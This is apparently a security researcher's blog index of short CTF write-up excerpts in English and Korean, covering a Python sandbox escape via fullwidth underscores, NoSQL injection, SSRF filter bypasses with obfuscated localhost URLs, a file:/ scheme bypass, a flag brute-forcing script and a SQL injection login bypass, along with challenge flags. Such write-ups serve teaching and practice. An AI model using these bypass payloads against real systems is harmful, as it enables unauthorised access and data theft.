HACKINTOANETWORK

OFFENSIVE SECURITY RESEARCHER, PENETRATION TESTER

CTF/BYUCTF 2023

Prob inp = input("code> ")[:72] if "__" in inp: print("Nope") else: print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}})) Payload ()._＿class_＿._＿bases_＿[0]._＿subclasses_＿()[124].get_data('.','flag.txt') 이 페이로드는 __ 필터링을 우회하는 방법으로 "_", "＿" 은 다릅니다. 비슷해 보이지만 같지는 않습니다. 전각 문자 ＿는 첫 번째 문자가 아니라 두 번째 문자여야 합니다. 일반 밑줄 다음에 두 번째 유니코드가 오는 경우에만 작동합니다. Exploit from pwn import * p = remote("byuctf.xyz", 40..

2023. 5. 21.

CTF/Incognito 4.0

To summarize this CTF challenge, it could be solved by performing a NoSQL injection attack. The challenge provided a login and registration feature, as well as a functionality to check the existence of an email and whether an account had admin privileges. The ultimate goal of the challenge was to log in with an admin account, so I had to find an account with "isAdmin" set to true. Payload import..

2023. 2. 19.

CTF/Incognito 4.0

This CTF challenge is an SSRF challenge with some additional filtering compared to the "get flag1" challenge that was previously solved. The challenge provides a URL form where a user can input a URL, and the goal is to bypass the filtering and trigger an SSRF attack. Payload http://0x7f.0x00.0x00.0x01:9001/flag.txt The payload used to trigger the SSRF attack is the URL "http://0x7f.0x00.0x00.0x..

2023. 2. 19.

CTF/Incognito 4.0

This CTF challenge is a simple SSRF challenge When you access the challenge, there is a URL form where you can input a URL. Payload http://0.0.0.0:9001/flag.txt Exploit By entering "http://0.0.0.0:9001/flag.txt" into the URL form, you can trigger an SSRF vulnerability. FLAG : ictf{l0c4l_byp4$$_323theu0a9}

2023. 2. 19.

CTF/DiceCTF 2023

이 문제는 CRC32B 해시 알고리즘 기반의 CSP를 우회하여 RXSS를 트리거 하는 것이 핵심이다. 문제의 소스코드는 다음과 같다.

2023. 2. 6.

CTF/Cyber Conflict Exercise 2022

이 문제는 file 스키마("file://")를 필터링하고 있어서 file:/로 우회해주었다. 플래그 위치는 게싱. 비록 대회때는 풀지 못했지만 아쉬워서 롸업을 써본다. Flag : cce2022{020842efa58b5cd90a2917a5dedfd74a}

2022. 9. 25.

CTF/Cyber Conflict Exercise 2022

option=content&searchWrd=cce2022{ 는 flag 형식이 cce2022{플래그} 임으로 충분히 게싱 가능했고 내용을 검색하기 위해서 title에서 content로 바꿔주었다. 플래그 뒷 부분은 파이썬 스크립트로 브루트 포싱해보면 나온다. import requests import string url = "http://3.36.61.250/?option=content&searchWrd=cce2022{" flag = "cce2022{" def get_flag(url,flag): while True: for i in string.printable: if i == "#" or i == "%" or i == "&" or i == "_": continue res = requests.get(ur..

2022. 9. 25.

CTF/Cyber Conflict Exercise 2022

간단한 SQL injection 문제로 id가 admin이고 pw는 무시되는 쿼리를 삽입해주었다. 로그인 쿼리 예상 : SELECT * FROM user WHERE id='admin' # and pw='a'; Flag : cce2022{1722336ae592a8a47509a1908064e079}

2022. 9. 25.